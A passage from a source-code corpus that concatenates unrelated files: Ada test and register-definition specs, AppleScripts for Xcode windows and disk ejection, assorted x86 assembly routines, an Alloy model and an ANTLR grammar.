T.Assert (Result.Length > 0, "The list should not be empty");
end Test_Create_From_Enum;
end AWA.Helpers.Selectors.Tests;
|
src/templates/ada/namespace.ads | joffreyhuguet/LmcpGen | 6 | 2415 | -<descending_namespace_spec>-
|
Services/Xcode Enlarge Window.applescript | shinyaohtani/AppleScriptForXcode | 0 | 2034 | --
-- Created by: <NAME>
-- Created on: 2021/12/06
--
-- Copyright (C) 2021 <NAME>, All Rights Reserved
--
use AppleScript version "2.7" -- macOS 10.13 or later
use scripting additions
on run
-- get default display size
tell application "Finder"
tell (do shell script "/usr/sbin/system_profiler SPDisplaysDataType -json | grep -B 5 '\"spdisplays_main\" : \"spdisplays_yes\"' | grep _spdisplays_resolution | cut -d'\"' -f4") to set {scW, scH} to {word 1, word 3}
end tell
tell application "Xcode-13.2"
set spT to 45 -- top side space (menu bar is 25)
set spL to 10
set spR to 40
set spB to 40 -- bottom side space (auto layout is 20)
set stepRow to round of (scH - spT - spB)
set stepColumn to round of ((scW - spL - spR) / 2)
set win to front window
set L to spL + (round of (stepColumn / 2))
set T to spT
set R to L + stepColumn
set B to T + stepRow
set shiftX to 100
set shiftY to 30
set rect to {L, T, R, B}
set allWins to ((every window) whose (id is not -1 and id is not (id of win) and visible is true))
set confirmed to false
repeat while (confirmed is false)
set confirmed to true
repeat with w in allWins
if bounds of w is equal to rect then
set confirmed to false
set L to L + shiftX
set R to R + shiftX
set T to T + shiftY
set B to B + shiftY
set rect to {L, T, R, B}
exit repeat
end if
end repeat
end repeat
set bounds of win to rect
set index of win to 1
end tell
end run
|
Calculator/unsigned/multiplication.asm | JaredsOSToolbox/AssemblerPrograms | 0 | 80295 | <gh_stars>0
; <NAME>
section .text
global _start
; result = number * other
_start:
mov al, byte[number]
mul byte[other]
; the result of the multiplication operation is in ax which is the 8 bit register of rax
; register widening to make way for the result of ax to be stored in the answer variable
mov word[answer], ax
; since the contents of the answer variable will fit inside the rdi register, we do not need to type punn it
mov rdi, [answer]
mov rax, 60
syscall
section .data
number: db 10
other: db 10
answer: db 0
|
Scripts/eject_disk.applescript | darrarski/alfred_workflow_eject_disk | 1 | 3722 | <reponame>darrarski/alfred_workflow_eject_disk
on run argv
set theQuery to item 1 of argv
tell application "Finder" to get every disk whose ejectable is true
repeat with theDisk in result
tell application "Finder" to get URL of theDisk
set diskURL to result
if theQuery is diskURL then
tell application "Finder" to eject theDisk
end if
end repeat
end run |
oeis/002/A002278.asm | neoneye/loda-programs | 11 | 91829 | ; A002278: a(n) = 4*(10^n - 1)/9.
; 0,4,44,444,4444,44444,444444,4444444,44444444,444444444,4444444444,44444444444,444444444444,4444444444444,44444444444444,444444444444444,4444444444444444,44444444444444444,444444444444444444,4444444444444444444,44444444444444444444,444444444444444444444,4444444444444444444444,44444444444444444444444,444444444444444444444444,4444444444444444444444444,44444444444444444444444444,444444444444444444444444444,4444444444444444444444444444,44444444444444444444444444444,444444444444444444444444444444
mov $1,10
pow $1,$0
div $1,9
mul $1,4
mov $0,$1
|
std/string.asm | SuperFola/project-E | 16 | 7457 | %ifndef proj_e_string_asm
%define proj_e_string_asm
bits 16
; Routine to get a string from the user
; Waits for a complete string of user input and puts it in buffer
; Sensitive for backspace and Enter buttons
; INPUT : DI (buffer address), CH (characters count limit), BL (a value != 0 will print * instead of the character)
; OUTPUT : input in buffer
proj_e_get_user_input:
cld ; clearing direction flag
xor cl, cl ; CL will be our counter to keep track of the number of characters the user has entered.
; XORing cl by itself will set it to zero.
.get_char_and_add_to_buffer:
xor ah, ah ; We use bios interrupt 0x16 to capture user input.
; AH=0 is an option for 0x16 that tells the interrupt to read the user input character
int 0x16 ; call interrupt. Stores read character in AL
; backspace button listener
cmp al, 0x08 ; compares user input to the backspace button, stores result in Carry Flag
je .backspace_pressed ; if the results of the compare is 1, go to subroutine .backspace_pressed
; enter button listener
cmp al, 0x0d ; compares user input to enter button
je .enter_pressed ; go to appropriate subroutine for enter button
; input counter
cmp cl, ch ; Has the user entered 'ch' bytes yet? (buffer limit is in register ch)
je .buffer_overflow
; User input is normal character
cmp bl, 0
je .put_normal_char
; save al for later
push ax
mov al, '*' ; if bl != 0, then replace the character with a '*'
mov ah, 0x0e ; Teletype mode
int 0x10 ; Print interrupt
pop ax
jmp .next
.put_normal_char:
mov ah, 0x0e ; Teletype mode
int 0x10 ; Print interrupt
.next:
; puts character in buffer
mystosb di
inc cl ; increment counter
jmp .get_char_and_add_to_buffer ; recurse
.backspace_pressed:
cmp cl, 0 ; no point erasing anything if no input has been entered
je .get_char_and_add_to_buffer ; ignore backspace press
; Delete last input character from buffer
; When you use stosb, movsb or similar functions, the system implicitly uses the SI and DI registers.
dec di ; Therefore we need to decrement di to get to the last input character and erase it.
mov byte [di], 0 ; Erases the byte at location [di]
dec cl ; decrement our counter
; Erase character from display
mov ah, 0x0e ; Teletype mode again
mov al, 0x08 ; Backspace character
int 0x10
mov al, ' ' ; Empty character to print
int 0x10
mov al, 0x08
int 0x10
jmp .get_char_and_add_to_buffer ; go back to main routine
; enter button pressed. Jump to exit
.enter_pressed:
jmp .exit_routine
; buffer overflow (buffer is full). Don't accept any more chars and exit routine.
.buffer_overflow:
jmp .exit_routine
.exit_routine:
mov al, 0 ; end of user input signal
mystosb di
mov ah, 0x0e
mov al, 0x0d ; new line
int 0x10
mov al, 0x0a
int 0x10
ret ; exit entire routine
; Routine to compare equality of two strings
; INPUT : SI (first string address), DI (second string address)
; OUTPUT : carry flag on if strings are equal
; N.B. : strings in SI and DI remain untouched
proj_e_compare_string:
.compare_next_character:
; a loop that goes character by character
mov al, [si] ; focus on next byte in si
mov bl, [di] ; focus on next byte in di
cmp al, bl
jne .conclude_not_equal ; if not equal, conclude and exit
; we know: two bytes are equal
cmp al, 0 ; did we just compare two zeros?
je .conclude_equal ; if yes, we've reached the end of the strings. They are equal.
; increment counters for next loop
inc si
inc di
jmp .compare_next_character
.conclude_equal:
; sets the carry flag (meaning that they ARE equal)
stc
jmp .done
.conclude_not_equal:
; clears the carry flag (meaning that they ARE NOT equal)
clc
.done:
ret
; Routine to compare two strings, the second one MUST match the beginning of the first one
; INPUT : SI (first string), DI (second string)
; OUTPUT : carry flag if strings are "equal"
; N.B. : strings in SI and DI remain untouched
proj_e_compare_start_string:
.compare_next_character:
; a loop that goes character by character
mov al, [si] ; focus on next byte in si
mov bl, [di] ; focus on next byte in di
cmp bl, 0
je .conclude_equal
cmp al, bl
jne .conclude_not_equal
; increment counters for next loop
inc si
inc di
jmp .compare_next_character
.conclude_equal:
; sets the carry flag (meaning that they ARE equal)
stc
jmp .done
.conclude_not_equal:
; clears the carry flag (meaning that they ARE NOT equal)
clc
.done:
ret
; Routine to get the size of a string
; INPUT : SI (string to get size of)
; OUTPUT : AX (length)
proj_e_length_string:
pusha
mov cx, 0
.more:
cmp byte [si], 0
je .done
inc si
inc cx
jmp .more
.done:
mov word [.counter], cx
popa
mov ax, word [.counter]
ret
.counter dw 0
; Routine to tokenize a string "a b c d" (separator is given)
; INPUT : SI (string to split), AL (single char separator)
; OUTPUT : DI (next token or 0 if none)
proj_e_tokenize_string:
push si
.next_char:
; do we have a matching separator ?
cmp byte [si], al
je .return_token
; is this the end of the string ?
cmp byte [si], 0
jz .no_more
; move forward
inc si
jmp .next_char
.return_token:
mov byte [si], 0
inc si
mov di, si
pop si
ret
.no_more:
mov di, 0
pop si
ret
; Routine to convert a single hexdigit string to integer
; INPUT : SI (string)
; OUTPUT : AL (number)
proj_e_hex_to_int:
; '0': 48, '1': 49, '2': 50, '3': 51, '4': 52, '5': 53, '6': 54, '7': 55, '8': 56, '9': 57
; 'a': 97, 'b': 98, 'c': 99, 'd': 100, 'e': 101, 'f': 102
; 'A': 65, 'B': 66, 'C': 67, 'D': 68, 'E': 69, 'F': 70
; get first char
mov byte al, [si]
; if 48 <= al <= 57:
cmp al, 48
jl .error
cmp al, 57
jg .try_upper_letter
; then
; convert from ASCII to real number
sub al, 48
mov byte [.val], al
jmp .end
.try_upper_letter:
; if 65 <= al <= 70
cmp al, 65
jl .error
cmp al, 70
jg .try_lower_letters
; then
; convert from ASCII to real number (+10, 'A' is the reference and 0xA == 10)
sub al, 55
mov byte [.val], al
jmp .end
.try_lower_letters:
; if 97 <= al <= 102:
cmp al, 97
jl .error
cmp al, 102
jg .error
; then
; convert from ASCII to real number (+10, 'a' is the reference and 0xa == 10)
sub al, 87
mov byte [.val], al
jmp .end
.end:
clc
jmp .done
.error:
stc
print .error_msg
.done:
mov byte al, byte [.val]
ret
.val db 0
.error_msg db 'Could not convert hex-digit string to integer', 13, 10, 0
; Routine to convert a 2 hexdigits string to integer
; INPUT : SI (string)
; OUTPUT : AL (number)
proj_e_2hex_to_int:
; if len(str) != 2:
call proj_e_length_string
cmp ax, 2
; then
; error
jne .error
; else:
; go to end of string
add si, ax
dec si
; convert last digit from the right
call proj_e_hex_to_int
jc .error
mov byte [.val], byte al
dec si
; convert the 2nd digit and multiply it by 16
call proj_e_hex_to_int
jc .error
mov byte ah, 0x00
shl ax, 0x04
add byte [.val], byte al
.end:
clc
jmp .done
.error:
stc
print .error_msg
.done:
mov byte al, byte [.val]
ret
.val db 0
.error_msg db 'Could not convert 2hex-digits string to integer', 13, 10, 0
%endif
|
kernel/kernel_loader.asm | Rudranil-Sarkar/PAW-OS | 6 | 100555 | [bits 32]
[extern _main]
global _start
_start:
mov edi, [0x9980 + 0x28]
mov dword [0x0FFC], edi
call _main
jmp Hang_up
Hang_up: jmp $
|
code/7/5.asm | GeekHades1/AssemblyCode | 1 | 93800 | ; 实验6
; 将data段的每个单词的前四个字母变成大写
assume cs:code, ds:data, ss:stack
stack segment
dw 0, 0, 0, 0, 0, 0, 0, 0
stack ends
data segment
db '1. display '
db '2. brows '
db '3. replace '
db '4. modify '
data ends
code segment
start: ; 设置栈
mov ax, stack
mov ss, ax
mov sp, 10H
mov ax, data
mov ds, ax
mov bx, 0
mov cx, 4
s0: push cx
mov si, 0
mov cx, 4 ; 设置内循环
s: mov al, [bx+3+si]
and al, 0DFH
mov [bx+3+si], al
inc si
loop s
add bx, 10H
pop cx
loop s0
mov ax, 4C00H
int 21H
code ends
end start
; 修改前
; 0B28:0010 31 2E 20 64 69 73 70 6C-61 79 20 20 20 20 20 20 1. display
; 0B28:0020 32 2E 20 62 72 6F 77 73-20 20 20 20 20 20 20 20 2. brows
; 0B28:0030 33 2E 20 72 65 70 6C 61-63 65 20 20 20 20 20 20 3. replace
; 0B28:0040 34 2E 20 6D 6F 64 69 66-79 20 20 20 20 20 20 20 4. modify
; 修改后
; 0B28:0010 31 2E 20 44 49 53 50 6C-61 79 20 20 20 20 20 20 1. DISPlay
; 0B28:0020 32 2E 20 42 52 4F 57 73-20 20 20 20 20 20 20 20 2. BROWs
; 0B28:0030 33 2E 20 52 45 50 4C 61-63 65 20 20 20 20 20 20 3. REPLace
; 0B28:0040 34 2E 20 4D 4F 44 49 66-79 20 20 20 20 20 20 20 4. MODIfy |
alloy4fun_models/trashltl/models/5/rRCNiM3qZL6KtBqBP.als | Kaixi26/org.alloytools.alloy | 0 | 3006 | open main
pred idrRCNiM3qZL6KtBqBP_prop6 {
all f:File | f in Trash releases (f in Trash)
}
pred __repair { idrRCNiM3qZL6KtBqBP_prop6 }
check __repair { idrRCNiM3qZL6KtBqBP_prop6 <=> prop6o } |
tools-src/gnu/gcc/gcc/ada/sem_ch10.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 4642 | <filename>tools-src/gnu/gcc/gcc/ada/sem_ch10.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ C H 1 0 --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-2001 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Types; use Types;
package Sem_Ch10 is
procedure Analyze_Compilation_Unit (N : Node_Id);
procedure Analyze_With_Clause (N : Node_Id);
procedure Analyze_With_Type_Clause (N : Node_Id);
procedure Analyze_Subprogram_Body_Stub (N : Node_Id);
procedure Analyze_Package_Body_Stub (N : Node_Id);
procedure Analyze_Task_Body_Stub (N : Node_Id);
procedure Analyze_Protected_Body_Stub (N : Node_Id);
procedure Analyze_Subunit (N : Node_Id);
procedure Install_Context (N : Node_Id);
-- Installs the entities from the context clause of the given compilation
-- unit into the visibility chains. This is done before analyzing a unit.
-- For a child unit, install context of parents as well.
procedure Remove_Context (N : Node_Id);
-- Removes the entities from the context clause of the given compilation
-- unit from the visibility chains. This is done on exit from a unit as
-- part of cleaning up the visibility chains for the caller. A special
-- case is that the call from the Main_Unit can be ignored, since at the
-- end of the main unit the visibility table won't be needed in any case.
-- For a child unit, remove parents and their context as well.
procedure Load_Needed_Body (N : Node_Id; OK : out Boolean);
-- Load and analyze the body of a context unit that is generic, or
-- that contains generic units or inlined units. The body becomes
-- part of the semantic dependency set of the unit that needs it.
-- The returned result in OK is True if the load is successful,
-- and False if the requested file cannot be found.
end Sem_Ch10;
|
g/src/main/antlr4/br/eti/rslemos/petgrammars/ReportAmbiguity.g4 | rslemos/pet-grammars | 0 | 6239 | grammar ReportAmbiguity;
unit : statements*;
statements :
callStatement+
// '.'
;
callStatement : 'CALL' ID (argsByRef | argsByVal)*;
argsByRef : ('BY' 'REF')? ID+;
argsByVal : 'BY' 'VAL' ID+;
ID : ('A'..'Z')+;
WS : (' '|'\n')+ -> channel(HIDDEN);
|
malban/Release/VRelease/Release.History/VRelease_2017_04_23/Song/track_0E_06.asm | mikepea/vectrex-playground | 5 | 163746 | dw $0030
track_0E_06:
db $E1, $18, $96, $00, $00, $00, $00, $00, $00, $00
|
libsrc/_DEVELOPMENT/threads/mutex/c/sdcc_iy/mtx_trylock_fastcall.asm | jpoikela/z88dk | 640 | 171818 |
; int mtx_trylock_fastcall(mtx_t *m)
SECTION code_clib
SECTION code_threads_mutex
PUBLIC _mtx_trylock_fastcall
EXTERN asm_mtx_trylock
defc _mtx_trylock_fastcall = asm_mtx_trylock
|
arch/ARM/STM32/svd/stm32f40x/stm32_svd-usb_otg_hs.ads | rocher/Ada_Drivers_Library | 192 | 18698 | <reponame>rocher/Ada_Drivers_Library<gh_stars>100-1000
-- This spec has been automatically generated from STM32F40x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.USB_OTG_HS is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype OTG_HS_DCFG_DSPD_Field is HAL.UInt2;
subtype OTG_HS_DCFG_DAD_Field is HAL.UInt7;
subtype OTG_HS_DCFG_PFIVL_Field is HAL.UInt2;
subtype OTG_HS_DCFG_PERSCHIVL_Field is HAL.UInt2;
-- OTG_HS device configuration register
type OTG_HS_DCFG_Register is record
-- Device speed
DSPD : OTG_HS_DCFG_DSPD_Field := 16#0#;
-- Nonzero-length status OUT handshake
NZLSOHSK : Boolean := False;
-- unspecified
Reserved_3_3 : HAL.Bit := 16#0#;
-- Device address
DAD : OTG_HS_DCFG_DAD_Field := 16#0#;
-- Periodic (micro)frame interval
PFIVL : OTG_HS_DCFG_PFIVL_Field := 16#0#;
-- unspecified
Reserved_13_23 : HAL.UInt11 := 16#100#;
-- Periodic scheduling interval
PERSCHIVL : OTG_HS_DCFG_PERSCHIVL_Field := 16#2#;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DCFG_Register use record
DSPD at 0 range 0 .. 1;
NZLSOHSK at 0 range 2 .. 2;
Reserved_3_3 at 0 range 3 .. 3;
DAD at 0 range 4 .. 10;
PFIVL at 0 range 11 .. 12;
Reserved_13_23 at 0 range 13 .. 23;
PERSCHIVL at 0 range 24 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype OTG_HS_DCTL_TCTL_Field is HAL.UInt3;
-- OTG_HS device control register
type OTG_HS_DCTL_Register is record
-- Remote wakeup signaling
RWUSIG : Boolean := False;
-- Soft disconnect
SDIS : Boolean := False;
-- Read-only. Global IN NAK status
GINSTS : Boolean := False;
-- Read-only. Global OUT NAK status
GONSTS : Boolean := False;
-- Test control
TCTL : OTG_HS_DCTL_TCTL_Field := 16#0#;
-- Write-only. Set global IN NAK
SGINAK : Boolean := False;
-- Write-only. Clear global IN NAK
CGINAK : Boolean := False;
-- Write-only. Set global OUT NAK
SGONAK : Boolean := False;
-- Write-only. Clear global OUT NAK
CGONAK : Boolean := False;
-- Power-on programming done
POPRGDNE : Boolean := False;
-- unspecified
Reserved_12_31 : HAL.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DCTL_Register use record
RWUSIG at 0 range 0 .. 0;
SDIS at 0 range 1 .. 1;
GINSTS at 0 range 2 .. 2;
GONSTS at 0 range 3 .. 3;
TCTL at 0 range 4 .. 6;
SGINAK at 0 range 7 .. 7;
CGINAK at 0 range 8 .. 8;
SGONAK at 0 range 9 .. 9;
CGONAK at 0 range 10 .. 10;
POPRGDNE at 0 range 11 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype OTG_HS_DSTS_ENUMSPD_Field is HAL.UInt2;
subtype OTG_HS_DSTS_FNSOF_Field is HAL.UInt14;
-- OTG_HS device status register
type OTG_HS_DSTS_Register is record
-- Read-only. Suspend status
SUSPSTS : Boolean;
-- Read-only. Enumerated speed
ENUMSPD : OTG_HS_DSTS_ENUMSPD_Field;
-- Read-only. Erratic error
EERR : Boolean;
-- unspecified
Reserved_4_7 : HAL.UInt4;
-- Read-only. Frame number of the received SOF
FNSOF : OTG_HS_DSTS_FNSOF_Field;
-- unspecified
Reserved_22_31 : HAL.UInt10;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DSTS_Register use record
SUSPSTS at 0 range 0 .. 0;
ENUMSPD at 0 range 1 .. 2;
EERR at 0 range 3 .. 3;
Reserved_4_7 at 0 range 4 .. 7;
FNSOF at 0 range 8 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
-- OTG_HS device IN endpoint common interrupt mask register
type OTG_HS_DIEPMSK_Register is record
-- Transfer completed interrupt mask
XFRCM : Boolean := False;
-- Endpoint disabled interrupt mask
EPDM : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- Timeout condition mask (nonisochronous endpoints)
TOM : Boolean := False;
-- IN token received when TxFIFO empty mask
ITTXFEMSK : Boolean := False;
-- IN token received with EP mismatch mask
INEPNMM : Boolean := False;
-- IN endpoint NAK effective mask
INEPNEM : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- FIFO underrun mask
TXFURM : Boolean := False;
-- BNA interrupt mask
BIM : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPMSK_Register use record
XFRCM at 0 range 0 .. 0;
EPDM at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
TOM at 0 range 3 .. 3;
ITTXFEMSK at 0 range 4 .. 4;
INEPNMM at 0 range 5 .. 5;
INEPNEM at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
TXFURM at 0 range 8 .. 8;
BIM at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- OTG_HS device OUT endpoint common interrupt mask register
type OTG_HS_DOEPMSK_Register is record
-- Transfer completed interrupt mask
XFRCM : Boolean := False;
-- Endpoint disabled interrupt mask
EPDM : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- SETUP phase done mask
STUPM : Boolean := False;
-- OUT token received when endpoint disabled mask
OTEPDM : Boolean := False;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- Back-to-back SETUP packets received mask
B2BSTUP : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- OUT packet error mask
OPEM : Boolean := False;
-- BNA interrupt mask
BOIM : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DOEPMSK_Register use record
XFRCM at 0 range 0 .. 0;
EPDM at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
STUPM at 0 range 3 .. 3;
OTEPDM at 0 range 4 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
B2BSTUP at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
OPEM at 0 range 8 .. 8;
BOIM at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
subtype OTG_HS_DAINT_IEPINT_Field is HAL.UInt16;
subtype OTG_HS_DAINT_OEPINT_Field is HAL.UInt16;
-- OTG_HS device all endpoints interrupt register
type OTG_HS_DAINT_Register is record
-- Read-only. IN endpoint interrupt bits
IEPINT : OTG_HS_DAINT_IEPINT_Field;
-- Read-only. OUT endpoint interrupt bits
OEPINT : OTG_HS_DAINT_OEPINT_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DAINT_Register use record
IEPINT at 0 range 0 .. 15;
OEPINT at 0 range 16 .. 31;
end record;
subtype OTG_HS_DAINTMSK_IEPM_Field is HAL.UInt16;
subtype OTG_HS_DAINTMSK_OEPM_Field is HAL.UInt16;
-- OTG_HS all endpoints interrupt mask register
type OTG_HS_DAINTMSK_Register is record
-- IN EP interrupt mask bits
IEPM : OTG_HS_DAINTMSK_IEPM_Field := 16#0#;
-- OUT EP interrupt mask bits
OEPM : OTG_HS_DAINTMSK_OEPM_Field := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DAINTMSK_Register use record
IEPM at 0 range 0 .. 15;
OEPM at 0 range 16 .. 31;
end record;
subtype OTG_HS_DVBUSDIS_VBUSDT_Field is HAL.UInt16;
-- OTG_HS device VBUS discharge time register
type OTG_HS_DVBUSDIS_Register is record
-- Device VBUS discharge time
VBUSDT : OTG_HS_DVBUSDIS_VBUSDT_Field := 16#17D7#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DVBUSDIS_Register use record
VBUSDT at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype OTG_HS_DVBUSPULSE_DVBUSP_Field is HAL.UInt12;
-- OTG_HS device VBUS pulsing time register
type OTG_HS_DVBUSPULSE_Register is record
-- Device VBUS pulsing time
DVBUSP : OTG_HS_DVBUSPULSE_DVBUSP_Field := 16#5B8#;
-- unspecified
Reserved_12_31 : HAL.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DVBUSPULSE_Register use record
DVBUSP at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype OTG_HS_DTHRCTL_TXTHRLEN_Field is HAL.UInt9;
subtype OTG_HS_DTHRCTL_RXTHRLEN_Field is HAL.UInt9;
-- OTG_HS Device threshold control register
type OTG_HS_DTHRCTL_Register is record
-- Nonisochronous IN endpoints threshold enable
NONISOTHREN : Boolean := False;
-- ISO IN endpoint threshold enable
ISOTHREN : Boolean := False;
-- Transmit threshold length
TXTHRLEN : OTG_HS_DTHRCTL_TXTHRLEN_Field := 16#0#;
-- unspecified
Reserved_11_15 : HAL.UInt5 := 16#0#;
-- Receive threshold enable
RXTHREN : Boolean := False;
-- Receive threshold length
RXTHRLEN : OTG_HS_DTHRCTL_RXTHRLEN_Field := 16#0#;
-- unspecified
Reserved_26_26 : HAL.Bit := 16#0#;
-- Arbiter parking enable
ARPEN : Boolean := False;
-- unspecified
Reserved_28_31 : HAL.UInt4 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DTHRCTL_Register use record
NONISOTHREN at 0 range 0 .. 0;
ISOTHREN at 0 range 1 .. 1;
TXTHRLEN at 0 range 2 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
RXTHREN at 0 range 16 .. 16;
RXTHRLEN at 0 range 17 .. 25;
Reserved_26_26 at 0 range 26 .. 26;
ARPEN at 0 range 27 .. 27;
Reserved_28_31 at 0 range 28 .. 31;
end record;
subtype OTG_HS_DIEPEMPMSK_INEPTXFEM_Field is HAL.UInt16;
-- OTG_HS device IN endpoint FIFO empty interrupt mask register
type OTG_HS_DIEPEMPMSK_Register is record
-- IN EP Tx FIFO empty interrupt mask bits
INEPTXFEM : OTG_HS_DIEPEMPMSK_INEPTXFEM_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPEMPMSK_Register use record
INEPTXFEM at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- OTG_HS device each endpoint interrupt register
type OTG_HS_DEACHINT_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- IN endpoint 1interrupt bit
IEP1INT : Boolean := False;
-- unspecified
Reserved_2_16 : HAL.UInt15 := 16#0#;
-- OUT endpoint 1 interrupt bit
OEP1INT : Boolean := False;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DEACHINT_Register use record
Reserved_0_0 at 0 range 0 .. 0;
IEP1INT at 0 range 1 .. 1;
Reserved_2_16 at 0 range 2 .. 16;
OEP1INT at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- OTG_HS device each endpoint interrupt register mask
type OTG_HS_DEACHINTMSK_Register is record
-- unspecified
Reserved_0_0 : HAL.Bit := 16#0#;
-- IN Endpoint 1 interrupt mask bit
IEP1INTM : Boolean := False;
-- unspecified
Reserved_2_16 : HAL.UInt15 := 16#0#;
-- OUT Endpoint 1 interrupt mask bit
OEP1INTM : Boolean := False;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DEACHINTMSK_Register use record
Reserved_0_0 at 0 range 0 .. 0;
IEP1INTM at 0 range 1 .. 1;
Reserved_2_16 at 0 range 2 .. 16;
OEP1INTM at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- OTG_HS device each in endpoint-1 interrupt register
type OTG_HS_DIEPEACHMSK1_Register is record
-- Transfer completed interrupt mask
XFRCM : Boolean := False;
-- Endpoint disabled interrupt mask
EPDM : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- Timeout condition mask (nonisochronous endpoints)
TOM : Boolean := False;
-- IN token received when TxFIFO empty mask
ITTXFEMSK : Boolean := False;
-- IN token received with EP mismatch mask
INEPNMM : Boolean := False;
-- IN endpoint NAK effective mask
INEPNEM : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- FIFO underrun mask
TXFURM : Boolean := False;
-- BNA interrupt mask
BIM : Boolean := False;
-- unspecified
Reserved_10_12 : HAL.UInt3 := 16#0#;
-- NAK interrupt mask
NAKM : Boolean := False;
-- unspecified
Reserved_14_31 : HAL.UInt18 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for OTG_HS_DIEPEACHMSK1_Register use record
XFRCM at 0 range 0 .. 0;
EPDM at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
TOM at 0 range 3 .. 3;
ITTXFEMSK at 0 range 4 .. 4;
INEPNMM at 0 range 5 .. 5;
INEPNEM at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
TXFURM at 0 range 8 .. 8;
BIM at 0 range 9 .. 9;
Reserved_10_12 at 0 range 10 .. 12;
NAKM at 0 range 13 .. 13;
Reserved_14_31 at 0 range 14 .. 31;
end record;
-- OTG_HS device each OUT endpoint-1 interrupt register
type OTG_HS_DOEPEACHMSK1_Register is record
-- Transfer completed interrupt mask
XFRCM : Boolean := False;
-- Endpoint disabled interrupt mask
EPDM : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
-- Timeout condition mask
TOM : Boolean := False;
-- IN token received when TxFIFO empty mask
ITTXFEMSK : Boolean := False;
-- IN token received with EP mismatch mask
INEPNMM : Boolean := False;
-- IN endpoint NAK effective mask
INEPNEM : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
-- OUT packet error mask
TXFURM : Boolean := False;
-- BNA interrupt mask
BIM : Boolean := False;
-- unspecified
Reserved_10_11 : HAL.UInt2 := 16#0#;
-- Bubble error interrupt mask
BERRM : Boolean := False;
